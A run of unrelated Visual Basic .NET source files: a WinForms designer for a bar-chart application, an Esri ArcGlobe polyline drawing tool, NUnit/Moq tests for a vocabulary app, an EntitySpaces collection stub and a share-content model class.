System.Drawing.Size(76, 13) Me.Label45.TabIndex = 282 Me.Label45.Text = "Parent project:" ' 'Label80 ' Me.Label80.AutoSize = True Me.Label80.Location = New System.Drawing.Point(6, 319) Me.Label80.Name = "Label80" Me.Label80.Size = New System.Drawing.Size(68, 13) Me.Label80.TabIndex = 87 Me.Label80.Text = "System path:" ' 'btnAdd ' Me.btnAdd.Location = New System.Drawing.Point(6, 34) Me.btnAdd.Name = "btnAdd" Me.btnAdd.Size = New System.Drawing.Size(150, 22) Me.btnAdd.TabIndex = 281 Me.btnAdd.Text = "Add to Message Service" Me.btnAdd.UseVisualStyleBackColor = True ' 'txtSystemLocationType ' Me.txtSystemLocationType.Location = New System.Drawing.Point(6, 335) Me.txtSystemLocationType.Name = "txtSystemLocationType" Me.txtSystemLocationType.Size = New System.Drawing.Size(72, 20) Me.txtSystemLocationType.TabIndex = 85 ' 'txtSystemPath ' Me.txtSystemPath.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtSystemPath.Location = New System.Drawing.Point(137, 316) Me.txtSystemPath.Multiline = True Me.txtSystemPath.Name = "txtSystemPath" Me.txtSystemPath.Size = New System.Drawing.Size(806, 46) Me.txtSystemPath.TabIndex = 84 ' 'txtCurrentDuration ' Me.txtCurrentDuration.Location = New System.Drawing.Point(480, 368) Me.txtCurrentDuration.Name = "txtCurrentDuration" Me.txtCurrentDuration.Size = New System.Drawing.Size(85, 20) Me.txtCurrentDuration.TabIndex = 71 ' 'Label12 ' Me.Label12.AutoSize = True Me.Label12.Location = New System.Drawing.Point(430, 373) Me.Label12.Name = "Label12" Me.Label12.Size = New System.Drawing.Size(44, 13) Me.Label12.TabIndex = 69 Me.Label12.Text = "Current:" ' 'txtTotalDuration ' Me.txtTotalDuration.Location = New System.Drawing.Point(283, 370) Me.txtTotalDuration.Name = "txtTotalDuration" Me.txtTotalDuration.Size = New System.Drawing.Size(85, 20) Me.txtTotalDuration.TabIndex = 68 ' 'Label2 ' Me.Label2.AutoSize = True Me.Label2.Location = New System.Drawing.Point(243, 373) Me.Label2.Name = "Label2" Me.Label2.Size = New System.Drawing.Size(34, 13) Me.Label2.TabIndex = 67 Me.Label2.Text = "Total:" ' 'Label1 ' Me.Label1.AutoSize = True Me.Label1.Location = New System.Drawing.Point(162, 373) Me.Label1.Name = "Label1" Me.Label1.Size = New System.Drawing.Size(75, 13) Me.Label1.TabIndex = 66 Me.Label1.Text = "Project usage:" ' 'txtLastUsed ' Me.txtLastUsed.Location = New System.Drawing.Point(281, 134) Me.txtLastUsed.Name = "txtLastUsed" Me.txtLastUsed.Size = New System.Drawing.Size(120, 20) Me.txtLastUsed.TabIndex = 65 ' 'Label11 ' Me.Label11.AutoSize = True Me.Label11.Location = New System.Drawing.Point(219, 137) Me.Label11.Name = "Label11" Me.Label11.Size = New System.Drawing.Size(56, 13) Me.Label11.TabIndex = 64 Me.Label11.Text = "Last used:" ' 'txtCreationDate ' Me.txtCreationDate.Location = New System.Drawing.Point(85, 134) Me.txtCreationDate.Name = "txtCreationDate" Me.txtCreationDate.Size = New System.Drawing.Size(120, 20) Me.txtCreationDate.TabIndex = 63 ' 'Label10 ' Me.Label10.AutoSize = True Me.Label10.Location = New System.Drawing.Point(6, 137) Me.Label10.Name = "Label10" Me.Label10.Size = New System.Drawing.Size(73, 13) Me.Label10.TabIndex = 62 Me.Label10.Text = "Creation date:" ' 'txtDataPath ' Me.txtDataPath.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtDataPath.Location = New System.Drawing.Point(137, 264) Me.txtDataPath.Multiline = True Me.txtDataPath.Name = "txtDataPath" Me.txtDataPath.Size = New System.Drawing.Size(806, 46) Me.txtDataPath.TabIndex = 61 ' 'txtDataLocationType ' Me.txtDataLocationType.Location = New System.Drawing.Point(6, 283) Me.txtDataLocationType.Name = "txtDataLocationType" Me.txtDataLocationType.Size = New System.Drawing.Size(72, 20) Me.txtDataLocationType.TabIndex = 60 ' 'Label8 ' Me.Label8.AutoSize = True Me.Label8.Location = New System.Drawing.Point(6, 267) Me.Label8.Name = "Label8" Me.Label8.Size = New System.Drawing.Size(57, 13) Me.Label8.TabIndex = 58 Me.Label8.Text = "Data path:" ' 'txtSettingsPath ' Me.txtSettingsPath.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtSettingsPath.Location = New System.Drawing.Point(137, 212) Me.txtSettingsPath.Multiline = True Me.txtSettingsPath.Name = "txtSettingsPath" Me.txtSettingsPath.Size = New System.Drawing.Size(806, 46) Me.txtSettingsPath.TabIndex = 57 ' 'txtSettingsLocationType ' Me.txtSettingsLocationType.Location = New System.Drawing.Point(6, 231) Me.txtSettingsLocationType.Name = "txtSettingsLocationType" Me.txtSettingsLocationType.Size = New System.Drawing.Size(72, 20) Me.txtSettingsLocationType.TabIndex = 55 ' 'Label6 ' Me.Label6.AutoSize = True Me.Label6.Location = New System.Drawing.Point(6, 215) Me.Label6.Name = "Label6" Me.Label6.Size = New System.Drawing.Size(72, 13) Me.Label6.TabIndex = 54 Me.Label6.Text = "Settings path:" ' 'txtProjectType ' Me.txtProjectType.Location = New System.Drawing.Point(6, 179) Me.txtProjectType.Name = "txtProjectType" Me.txtProjectType.Size = New System.Drawing.Size(72, 20) Me.txtProjectType.TabIndex = 53 ' 'txtProjectDescription ' Me.txtProjectDescription.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtProjectDescription.Location = New System.Drawing.Point(85, 88) Me.txtProjectDescription.Multiline = True Me.txtProjectDescription.Name = "txtProjectDescription" Me.txtProjectDescription.Size = New System.Drawing.Size(858, 40) Me.txtProjectDescription.TabIndex = 51 ' 'Label4 ' Me.Label4.AutoSize = True Me.Label4.Location = New System.Drawing.Point(6, 91) Me.Label4.Name = "Label4" Me.Label4.Size = New System.Drawing.Size(63, 13) Me.Label4.TabIndex = 50 Me.Label4.Text = "Description:" ' 'txtProjectName ' Me.txtProjectName.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtProjectName.Location = New System.Drawing.Point(85, 62) Me.txtProjectName.Name = "txtProjectName" Me.txtProjectName.Size = New System.Drawing.Size(858, 20) Me.txtProjectName.TabIndex = 49 ' 'Label3 ' Me.Label3.AutoSize = True Me.Label3.Location = New System.Drawing.Point(6, 65) Me.Label3.Name = "Label3" Me.Label3.Size = New System.Drawing.Size(72, 13) Me.Label3.TabIndex = 48 Me.Label3.Text = "Project name:" ' 'btnProject ' Me.btnProject.Location = New System.Drawing.Point(6, 6) Me.btnProject.Name = "btnProject" Me.btnProject.Size = New System.Drawing.Size(72, 22) Me.btnProject.TabIndex = 47 Me.btnProject.Text = "Project List" Me.btnProject.UseVisualStyleBackColor = True ' 'Timer1 ' ' 'OpenFileDialog1 ' Me.OpenFileDialog1.FileName = "OpenFileDialog1" ' 'Main ' Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font Me.ClientSize = New System.Drawing.Size(981, 570) Me.Controls.Add(Me.TabControl1) Me.Controls.Add(Me.btnAndorville) Me.Controls.Add(Me.btnWebPages) Me.Controls.Add(Me.btnAppInfo) Me.Controls.Add(Me.btnOnline) Me.Controls.Add(Me.btnMessages) Me.Controls.Add(Me.btnExit) Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) Me.Name = "Main" Me.Text = "Andorville™ Bar Chart" Me.ContextMenuStrip1.ResumeLayout(False) Me.TabControl1.ResumeLayout(False) Me.TabPage3.ResumeLayout(False) Me.TabPage1.ResumeLayout(False) Me.TabPage1.PerformLayout() CType(Me.Chart1, System.ComponentModel.ISupportInitialize).EndInit() Me.TabPage4.ResumeLayout(False) Me.TabControl2.ResumeLayout(False) Me.TabPage5.ResumeLayout(False) Me.TabPage5.PerformLayout() Me.TabControl3.ResumeLayout(False) Me.TabPage10.ResumeLayout(False) Me.TabPage10.PerformLayout() Me.TabPage7.ResumeLayout(False) Me.TabPage7.PerformLayout() Me.TabPage6.ResumeLayout(False) Me.TabPage6.PerformLayout() Me.SplitContainer1.Panel1.ResumeLayout(False) Me.SplitContainer1.Panel1.PerformLayout() Me.SplitContainer1.Panel2.ResumeLayout(False) Me.SplitContainer1.Panel2.PerformLayout() CType(Me.SplitContainer1, System.ComponentModel.ISupportInitialize).EndInit() Me.SplitContainer1.ResumeLayout(False) CType(Me.DataGridView1, System.ComponentModel.ISupportInitialize).EndInit() CType(Me.DataGridView2, System.ComponentModel.ISupportInitialize).EndInit() Me.TabPage15.ResumeLayout(False) Me.TabPage15.PerformLayout() Me.TabControl4.ResumeLayout(False) Me.TabPage14.ResumeLayout(False) Me.TabPage14.PerformLayout() Me.TabPage16.ResumeLayout(False) Me.TabPage16.PerformLayout() Me.TabPage17.ResumeLayout(False) Me.TabPage17.PerformLayout() Me.TabPage18.ResumeLayout(False) Me.TabPage18.PerformLayout() Me.TabPage2.ResumeLayout(False) Me.TabPage2.PerformLayout() Me.ResumeLayout(False) End Sub Friend WithEvents btnWebPages As Button Friend WithEvents btnAppInfo As Button Friend WithEvents btnOnline As Button Friend WithEvents btnMessages As Button Friend WithEvents btnExit As Button Friend WithEvents btnAndorville As Button Friend WithEvents TabControl1 As TabControl Friend WithEvents TabPage3 As TabPage Friend WithEvents WebBrowser1 As WebBrowser Friend WithEvents TabPage1 As TabPage Friend WithEvents TabPage2 As TabPage Friend WithEvents btnShowProjectInfo As Button Friend WithEvents chkConnect As CheckBox Friend WithEvents btnOpenProject As Button Friend WithEvents Label13 As Label Friend WithEvents txtProjectPath As TextBox Friend WithEvents txtProNetName As TextBox Friend WithEvents Label9 As Label Friend WithEvents btnOpenAppDir As Button Friend WithEvents Label7 As Label Friend WithEvents Label17 As Label Friend WithEvents btnOpenSystem As Button Friend WithEvents btnOpenData As Button Friend WithEvents btnOpenSettings As Button Friend WithEvents btnParameters As Button Friend WithEvents txtParentProject As TextBox Friend WithEvents Label45 As Label Friend WithEvents Label80 As Label Friend WithEvents btnAdd As Button Friend WithEvents txtSystemLocationType As TextBox Friend WithEvents txtSystemPath As TextBox Friend WithEvents txtCurrentDuration As TextBox Friend WithEvents Label12 As Label Friend WithEvents txtTotalDuration As TextBox Friend WithEvents Label2 As Label Friend WithEvents Label1 As Label Friend WithEvents txtLastUsed As TextBox Friend WithEvents Label11 As Label Friend WithEvents txtCreationDate As TextBox Friend WithEvents Label10 As Label Friend WithEvents txtDataPath As TextBox Friend WithEvents txtDataLocationType As TextBox Friend WithEvents Label8 As Label Friend WithEvents txtSettingsPath As TextBox Friend WithEvents txtSettingsLocationType As TextBox Friend WithEvents Label6 As Label Friend WithEvents txtProjectType As TextBox Friend WithEvents txtProjectDescription As TextBox Friend WithEvents Label4 As Label Friend WithEvents txtProjectName As TextBox Friend WithEvents Label3 As Label Friend WithEvents btnProject As Button Friend WithEvents Timer1 As Timer Friend WithEvents ContextMenuStrip1 As ContextMenuStrip Friend WithEvents ToolStripMenuItem1_EditWorkflowTabPage As ToolStripMenuItem Friend WithEvents ToolStripMenuItem1_ShowStartPageInWorkflowTab As ToolStripMenuItem Friend WithEvents TabPage4 As TabPage Friend WithEvents btnZoomChart As Button Friend WithEvents btnOpen As Button Friend WithEvents btnMarkerProps2 As Button Friend WithEvents btnDrawChart As Button Friend WithEvents btnShowChartSettings As Button Friend WithEvents rbPreviewChart As RadioButton Friend WithEvents txtChartFileName As TextBox Friend WithEvents rbNewWindowChart As RadioButton Friend WithEvents Label33 As Label Friend WithEvents btnNew As Button Friend WithEvents chkAutoDraw As CheckBox Friend WithEvents btnSave As Button Friend WithEvents btnNewChartWindow As Button Friend WithEvents Chart1 As DataVisualization.Charting.Chart Friend WithEvents TabControl2 As TabControl Friend WithEvents TabPage5 As TabPage Friend WithEvents TabControl3 As TabControl Friend WithEvents TabPage10 As TabPage Friend WithEvents btnApplyInputDataSettings As Button Friend WithEvents Label32 As Label Friend WithEvents txtDataDescription As TextBox Friend WithEvents btnApplyQuery As Button Friend WithEvents btnViewData As Button Friend WithEvents btnDesignQuery As Button Friend WithEvents lstFields As ListBox Friend WithEvents Label16 As Label Friend WithEvents lstTables As ListBox Friend WithEvents Label18 As Label Friend WithEvents txtInputQuery As TextBox Friend WithEvents Label19 As Label Friend WithEvents Label20 As Label Friend WithEvents cmbDatabaseType As ComboBox Friend WithEvents btnDatabase As Button Friend WithEvents txtDatabasePath As TextBox Friend WithEvents Label21 As Label Friend WithEvents TabPage11 As TabPage Friend WithEvents Label31 As Label Friend WithEvents rbDataset As RadioButton Friend WithEvents rbDatabase As RadioButton Friend WithEvents TabPage7 As TabPage Friend WithEvents btnChartTitleColor As Button Friend WithEvents btnCancelTitlesSettings As Button Friend WithEvents btnApplyTitlesSettings As Button Friend WithEvents cmbOrientation As ComboBox Friend WithEvents Label63 As Label Friend WithEvents btnDelTitle As Button Friend WithEvents btnAddTitle As Button Friend WithEvents txtTitlesRecordNo As TextBox Friend WithEvents Label55 As Label Friend WithEvents btnNextTitle As Button Friend WithEvents btnPrevTitle As Button Friend WithEvents Label56 As Label Friend WithEvents txtNTitlesRecords As TextBox Friend WithEvents txtTitleName As TextBox Friend WithEvents Label57 As Label Friend WithEvents cmbAlignment As ComboBox Friend WithEvents Label25 As Label Friend WithEvents btnChartTitleFont As Button Friend WithEvents txtChartTitle As TextBox Friend WithEvents Label26 As Label Friend WithEvents TabPage6 As TabPage Friend WithEvents cmbXAxisValueType As ComboBox Friend WithEvents Label69 As Label Friend WithEvents cmbChartArea As ComboBox Friend WithEvents Label64 As Label Friend WithEvents btnMarkerProps As Button Friend WithEvents cmbXAxisType As ComboBox Friend WithEvents Label58 As Label Friend WithEvents btnCancelSeriesSettings As Button Friend WithEvents btnApplySeriesSettings As Button Friend WithEvents btnDeleteSeries As Button Friend WithEvents btnAddSeries As Button Friend WithEvents txtSeriesRecordNo As TextBox Friend WithEvents Label47 As Label Friend WithEvents btnNextSeries As Button Friend WithEvents btnPrevSeries As Button Friend WithEvents Label48 As Label Friend WithEvents txtNSeriesRecords As TextBox Friend WithEvents txtChartDescr As TextBox Friend WithEvents SplitContainer1 As SplitContainer Friend WithEvents cmbYAxisValueType As ComboBox Friend WithEvents cmbYAxisType As ComboBox Friend WithEvents Label70 As Label Friend WithEvents Label59 As Label Friend WithEvents DataGridView1 As DataGridView Friend WithEvents Label22 As Label Friend WithEvents DataGridView2 As DataGridView Friend WithEvents Label23 As Label Friend WithEvents txtSeriesName As TextBox Friend WithEvents Label35 As Label Friend WithEvents cmbXValues As ComboBox Friend WithEvents Label24 As Label Friend WithEvents TabPage15 As TabPage Friend WithEvents btnCancelAreaSettings As Button Friend WithEvents btnApplyAreaSettings As Button Friend WithEvents btnDeleteArea As Button Friend WithEvents btnAddArea As Button Friend WithEvents txtAreaRecordNo As TextBox Friend WithEvents Label60 As Label Friend WithEvents btnNextArea As Button Friend WithEvents btnPrevArea As Button Friend WithEvents Label61 As Label Friend WithEvents txtNAreaRecords As TextBox Friend WithEvents txtAreaName As TextBox Friend WithEvents Label62 As Label Friend WithEvents TabControl4 As TabControl Friend WithEvents TabPage14 As TabPage Friend WithEvents btnXAxisZoom As Button Friend WithEvents Label73 As Label Friend WithEvents txtXAxisZoomInterval As TextBox Friend WithEvents btnZoomOK As Button Friend WithEvents txtXAxisZoomTo As TextBox Friend WithEvents Label72 As Label Friend WithEvents txtXAxisZoomFrom As TextBox Friend WithEvents Label71 As Label Friend WithEvents chkXAxisScrollBar As CheckBox Friend WithEvents txtXAxisLabelStyleFormat As TextBox Friend WithEvents Label65 As Label Friend WithEvents btnXAxisTitleColor As Button Friend WithEvents chkXAxisAutoMajGridInt As CheckBox Friend WithEvents txtXAxisMajGridInt As TextBox Friend WithEvents Label36 As Label Friend WithEvents chkXAxisAutoAnnotInt As CheckBox Friend WithEvents txtXAxisAnnotInt As TextBox Friend WithEvents Label27 As Label Friend WithEvents chkXAxisAutoMax As CheckBox Friend WithEvents chkXAxisAutoMin As CheckBox Friend WithEvents DateTimePicker2 As DateTimePicker Friend WithEvents DateTimePicker1 As DateTimePicker Friend WithEvents txtXAxisMax As TextBox Friend WithEvents Label28 As Label Friend WithEvents txtXAxisMin As TextBox Friend WithEvents Label29 As Label Friend WithEvents cmbXAxisTitleAlignment As ComboBox Friend WithEvents Label30 As Label Friend WithEvents btnXAxisTitleFont As Button Friend WithEvents txtXAxisTitle As TextBox Friend WithEvents Label34 As Label Friend WithEvents TabPage16 As TabPage Friend WithEvents btnX2AxisZoom As Button Friend WithEvents chkX2AxisScrollBar As CheckBox Friend WithEvents txtX2AxisLabelStyleFormat As TextBox Friend WithEvents Label66 As Label Friend WithEvents btnX2AxisTitleColor As Button Friend WithEvents chkX2AxisAutoMajGridInt As CheckBox Friend WithEvents txtX2AxisMajGridInt As TextBox Friend WithEvents Label49 As Label Friend WithEvents chkX2AxisAutoAnnotInt As CheckBox Friend WithEvents txtX2AxisAnnotInt As TextBox Friend WithEvents Label50 As Label Friend WithEvents chkX2AxisAutoMax As CheckBox Friend WithEvents chkX2AxisAutoMin As CheckBox Friend WithEvents DateTimePicker7 As DateTimePicker Friend WithEvents DateTimePicker8 As DateTimePicker Friend WithEvents txtX2AxisMax As TextBox Friend WithEvents Label51 As Label Friend WithEvents txtX2AxisMin As TextBox Friend WithEvents Label52 As Label Friend WithEvents cmbX2AxisTitleAlignment As ComboBox Friend WithEvents Label53 As Label Friend WithEvents btnX2AxisTitleFont As Button Friend WithEvents txtX2AxisTitle As TextBox Friend WithEvents Label54 As Label Friend WithEvents TabPage17 As TabPage Friend WithEvents btnYAxisZoom As Button Friend WithEvents chkYAxisScrollBar As CheckBox Friend WithEvents txtYAxisLabelStyleFormat As TextBox Friend WithEvents Label67 As Label Friend WithEvents btnYAxisTitleColor As Button Friend WithEvents chkYAxisAutoMajGridInt As CheckBox Friend WithEvents txtYAxisMajGridInt As TextBox Friend WithEvents Label37 As Label Friend WithEvents chkYAxisAutoAnnotInt As CheckBox Friend WithEvents txtYAxisAnnotInt As TextBox Friend WithEvents Label38 As Label Friend WithEvents chkYAxisAutoMax As CheckBox Friend WithEvents DateTimePicker4 As DateTimePicker Friend WithEvents DateTimePicker3 As DateTimePicker Friend WithEvents chkYAxisAutoMin As CheckBox Friend WithEvents txtYAxisMax As TextBox Friend WithEvents txtYAxisMin As TextBox Friend WithEvents Label39 As Label Friend WithEvents Label40 As Label Friend WithEvents cmbYAxisTitleAlignment As ComboBox Friend WithEvents Label41 As Label Friend WithEvents btnYAxisTitleFont As Button Friend WithEvents txtYAxisTitle As TextBox Friend WithEvents Label42 As Label Friend WithEvents TabPage18 As TabPage Friend WithEvents btnY2AxisZoom As Button Friend WithEvents chkY2AxisScrollBar As CheckBox Friend WithEvents txtY2AxisLabelStyleFormat As TextBox Friend WithEvents Label68 As Label Friend WithEvents btnY2AxisTitleColor As Button Friend WithEvents chkY2AxisAutoMajGridInt As CheckBox Friend WithEvents txtY2AxisMajGridInt As TextBox Friend WithEvents Label5 As Label Friend WithEvents chkY2AxisAutoAnnotInt As CheckBox Friend WithEvents txtY2AxisAnnotInt As TextBox Friend WithEvents Label14 As Label Friend WithEvents chkY2AxisAutoMax As CheckBox Friend WithEvents DateTimePicker5 As DateTimePicker Friend WithEvents DateTimePicker6 As DateTimePicker Friend WithEvents chkY2AxisAutoMin As CheckBox Friend WithEvents txtY2AxisMax As TextBox Friend WithEvents txtY2AxisMin As TextBox Friend WithEvents Label15 As Label Friend WithEvents Label43 As Label Friend WithEvents cmbY2AxisTitleAlignment As ComboBox Friend WithEvents Label44 As Label Friend WithEvents btnY2AxisTitleFont As Button Friend WithEvents txtY2AxisTitle As TextBox Friend WithEvents Label46 As Label Friend WithEvents OpenFileDialog1 As OpenFileDialog Friend WithEvents FontDialog1 As FontDialog Friend WithEvents ColorDialog1 As ColorDialog End Class
'Copyright 2019 Esri 'Licensed under the Apache License, Version 2.0 (the "License"); 'you may not use this file except in compliance with the License. 'You may obtain a copy of the License at ' http://www.apache.org/licenses/LICENSE-2.0 'Unless required by applicable law or agreed to in writing, software 'distributed under the License is distributed on an "AS IS" BASIS, 'WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 'See the License for the specific language governing permissions and 'limitations under the License. Imports Microsoft.VisualBasic Imports System Imports System.Collections.Generic Imports System.Text Imports System.IO Imports ESRI.ArcGIS.ADF.BaseClasses Imports ESRI.ArcGIS.ADF.CATIDs Imports System.Windows.Forms Imports ESRI.ArcGIS.Geometry Imports ESRI.ArcGIS.Analyst3D Imports ESRI.ArcGIS.Carto Imports ESRI.ArcGIS.Display Namespace GlobeGraphicsToolbar Public Class PolylineTool Inherits ESRI.ArcGIS.Desktop.AddIns.Tool Private _polylineGeometry As PolylineGeometry = Nothing Private Const LeftButton As Integer = 1 Private Const GeographicCoordinateSystem As ESRI.ArcGIS.Geometry.esriSRGeoCSType = ESRI.ArcGIS.Geometry.esriSRGeoCSType.esriSRGeoCS_WGS1984 Private Const PointElementSize As Double = 1 Private Const PointElementStyle As ESRI.ArcGIS.Display.esriSimpleMarkerStyle = ESRI.ArcGIS.Display.esriSimpleMarkerStyle.esriSMSCircle Private Const PolylineElementWidth As Double = 1000 Private Const PolylineElementStyle As ESRI.ArcGIS.Display.esriSimpleLineStyle = ESRI.ArcGIS.Display.esriSimpleLineStyle.esriSLSSolid Private Const GraphicsLayerName As String = "Globe Graphics" Public Sub New() End Sub Protected Overrides Sub OnUpdate() End Sub Protected Overrides Sub OnMouseDown(ByVal arg As ESRI.ArcGIS.Desktop.AddIns.Tool.MouseEventArgs) If arg.Button = MouseButtons.Left Then Dim geographicCoordinates As New GeographicCoordinates(ArcGlobe.Globe, arg.X, arg.Y) Dim spatialReferenceFactory As New SpatialReferenceFactory(CInt(Fix(GeographicCoordinateSystem))) Dim pointGeometry As New PointGeometry(geographicCoordinates.Longitude, geographicCoordinates.Latitude, geographicCoordinates.AltitudeInKilometers, spatialReferenceFactory.SpatialReference) If _polylineGeometry Is Nothing Then _polylineGeometry = New PolylineGeometry(spatialReferenceFactory.SpatialReference) End If _polylineGeometry.AddPoint(TryCast(pointGeometry.Geometry, IPoint)) Dim tableOfContents As New TableOfContents(ArcGlobe.Globe) If (Not tableOfContents.LayerExists(GraphicsLayerName)) Then tableOfContents.ConstructLayer(GraphicsLayerName) End If Dim layer As New Layer(tableOfContents(GraphicsLayerName)) If _polylineGeometry.PointCount = 1 Then Dim pointElement As New PointElement(pointGeometry.Geometry, PointElementSize, PointElementStyle) layer.AddElement(pointElement.Element, pointElement.ElementProperties) Else layer.RemoveElement(layer.ElementCount - 1) Dim polylineElement As New PolylineElement(_polylineGeometry.Geometry, PolylineElementWidth, PolylineElementStyle) layer.AddElement(polylineElement.Element, polylineElement.ElementProperties) End If ArcGlobe.Globe.GlobeDisplay.RefreshViewers() End If End Sub Protected Overrides Sub OnDoubleClick() _polylineGeometry = Nothing End Sub End Class End Namespace
Imports NUnit.Framework Imports Moq Imports Gravo Imports System.Collections.ObjectModel Imports FluentAssertions Imports GravoCore.UnitTests.DictionaryDaoTests Public Class DataToolsTests ReadOnly groupName = "groupName" ReadOnly group1 = New GroupEntry(0, groupName, "sub1", "sub1table") ReadOnly group2 = New GroupEntry(0, groupName, "sub2", "sub2table") ReadOnly group3 = New GroupEntry(0, groupName, "sub3", "sub3table") ReadOnly subGroups As ICollection(Of GroupEntry) = New List(Of GroupEntry) From {group1, group2, group3} <Test> Public Sub WordCounts_Counts_SubGroups() Dim groupsDaoMock As New Mock(Of IGroupsDao)(MockBehavior.Strict) Dim groupDaoMock As New Mock(Of IGroupDao)(MockBehavior.Strict) groupsDaoMock.Setup(Function(x) x.GetSubGroups(groupName)).Returns(subGroups) Dim list1 As ICollection(Of TestWord) = Enumerable.Repeat(CreateFakeTestWord, 5).ToList Dim group1Dto As New Mock(Of GroupDto)(MockBehavior.Strict, group1, list1) Dim emptyList As ICollection(Of TestWord) = New List(Of TestWord) From {} Dim group2Dto As New Mock(Of GroupDto)(MockBehavior.Strict, group1, emptyList) Dim list3 As ICollection(Of TestWord) = Enumerable.Repeat(CreateFakeTestWord, 10).ToList Dim group3Dto As New Mock(Of GroupDto)(MockBehavior.Strict, group1, list3) groupDaoMock.Setup(Function(x) x.Load(group1)).Returns(group1Dto.Object) groupDaoMock.Setup(Function(x) x.Load(group2)).Returns(group2Dto.Object) groupDaoMock.Setup(Function(x) x.Load(group3)).Returns(group3Dto.Object) Dim result As Integer = DataTools.WordCount(groupsDaoMock.Object, groupDaoMock.Object, groupName) Assert.AreEqual(15, result) End Sub Private Function CreateFakeTestWord() As TestWord Return New TestWord(New WordEntry("", "", "", WordType.Verb, "", "", False), True, "") End Function <Test> Public Sub UsedLanguage_Counts_AllUsedLanguages() Dim groupsDaoMock As New Mock(Of IGroupsDao)(MockBehavior.Strict) Dim groupDaoMock As New Mock(Of IGroupDao)(MockBehavior.Strict) groupsDaoMock.Setup(Function(x) x.GetSubGroups(groupName)).Returns(subGroups) groupDaoMock.Setup(Function(x) x.GetLanguages(group1)).Returns(New List(Of String) From {"lang1", "lang2"}) groupDaoMock.Setup(Function(x) x.GetLanguages(group2)).Returns(New List(Of String) From {}) groupDaoMock.Setup(Function(x) x.GetLanguages(group3)).Returns(New List(Of String) From {"lang2", "lang3"}) Dim result As Integer = DataTools.UsedLanguagesCount(groupsDaoMock.Object, groupDaoMock.Object, groupName) result.Should.Be(3) End Sub <Test> Public Sub GetOrCreate_Existing_Returns() Dim dictionaryDaoMock As New Mock(Of IDictionaryDao)(MockBehavior.Strict) Dim existingEntry As MainEntry = New MockMainEntry(1, "word", "language", "target") dictionaryDaoMock.Setup(Function(x) x.GetMainEntry("word", "language", "target")).Returns(existingEntry) Dim result As MainEntry = DataTools.GetOrCreateMainEntry(dictionaryDaoMock.Object, "word", "language", "target") result.Should.BeSameAs(existingEntry) End Sub <Test> Public Sub GetOrCreate_NonExisting_CreatesAndReturns() Dim dictionaryDaoMock As New Mock(Of IDictionaryDao)(MockBehavior.Strict) Dim newEntry As MainEntry = New MockMainEntry(1, "word", "language", "target") dictionaryDaoMock.Setup(Function(x) x.GetMainEntry("word", "language", "target")).Throws(New EntryNotFoundException()) dictionaryDaoMock.Setup(Function(x) x.AddEntry("word", "language", "target")).Returns(newEntry) Dim result As MainEntry = DataTools.GetOrCreateMainEntry(dictionaryDaoMock.Object, "word", "language", "target") result.Should.BeSameAs(newEntry) End Sub End Class
'=============================================================================== ' EntitySpaces 2010 by EntitySpaces, LLC ' Persistence Layer and Business Objects for Microsoft .NET ' EntitySpaces(TM) is a legal trademark of EntitySpaces, LLC ' http://www.entityspaces.net '=============================================================================== ' EntitySpaces Version : 2011.0.0321.0 ' EntitySpaces Driver : SQL ' Date Generated : 3/19/2011 6:18:05 PM '=============================================================================== Imports System Imports EntitySpaces.Core Imports EntitySpaces.Interfaces Imports EntitySpaces.DynamicQuery Namespace BusinessObjects Partial Public Class CustomersCollection Inherits esCustomersCollection Public Sub New() End Sub End Class End Namespace
Imports Windows.Storage Namespace Models Friend Enum ShareSourceFeatureItemType Text = 0 WebLink = 1 ApplicationLink = 2 Html = 3 Image = 4 StorageItems = 5 DeferredContent = 6 End Enum Friend Class ShareSourceFeatureItem Public Property DataType As ShareSourceFeatureItemType Public Property Text As String Public Property WebLink As Uri Public Property ApplicationLink As Uri Public Property Html As String Public Property Image As StorageFile Public Property StorageItems As IEnumerable(Of IStorageItem) Public Property DeferredDataFormatId As String Public Property GetDeferredDataAsyncFunc As Func(Of Task(Of Object)) Private Sub New(dataType As ShareSourceFeatureItemType) DataType = dataType End Sub Friend Shared Function FromText(text As String) As ShareSourceFeatureItem Return New ShareSourceFeatureItem(ShareSourceFeatureItemType.Text) With {.Text = text} End Function Friend Shared Function FromWebLink(webLink As Uri) As ShareSourceFeatureItem Return New ShareSourceFeatureItem(ShareSourceFeatureItemType.WebLink) With {.WebLink = webLink} End Function Friend Shared Function FromApplicationLink(applicationLink As Uri) As ShareSourceFeatureItem Return New ShareSourceFeatureItem(ShareSourceFeatureItemType.ApplicationLink) With {.ApplicationLink = applicationLink} End Function Friend Shared Function FromHtml(html As String) As ShareSourceFeatureItem Return New ShareSourceFeatureItem(ShareSourceFeatureItemType.Html) With {.Html = html} End Function Friend Shared Function FromImage(image As StorageFile) As ShareSourceFeatureItem Return New ShareSourceFeatureItem(ShareSourceFeatureItemType.Image) With {.Image = image} End Function Friend Shared Function FromStorageItems(storageItems As IEnumerable(Of IStorageItem)) As ShareSourceFeatureItem Return New ShareSourceFeatureItem(ShareSourceFeatureItemType.StorageItems) With {.StorageItems = storageItems} End Function Friend Shared Function FromDeferredContent(deferredDataFormatId As String, getDeferredDataAsyncFunc As Func(Of Task(Of Object))) As ShareSourceFeatureItem Return New ShareSourceFeatureItem(ShareSourceFeatureItemType.DeferredContent) With {.DeferredDataFormatId = deferredDataFormatId, .GetDeferredDataAsyncFunc = getDeferredDataAsyncFunc} End Function End Class End Namespace
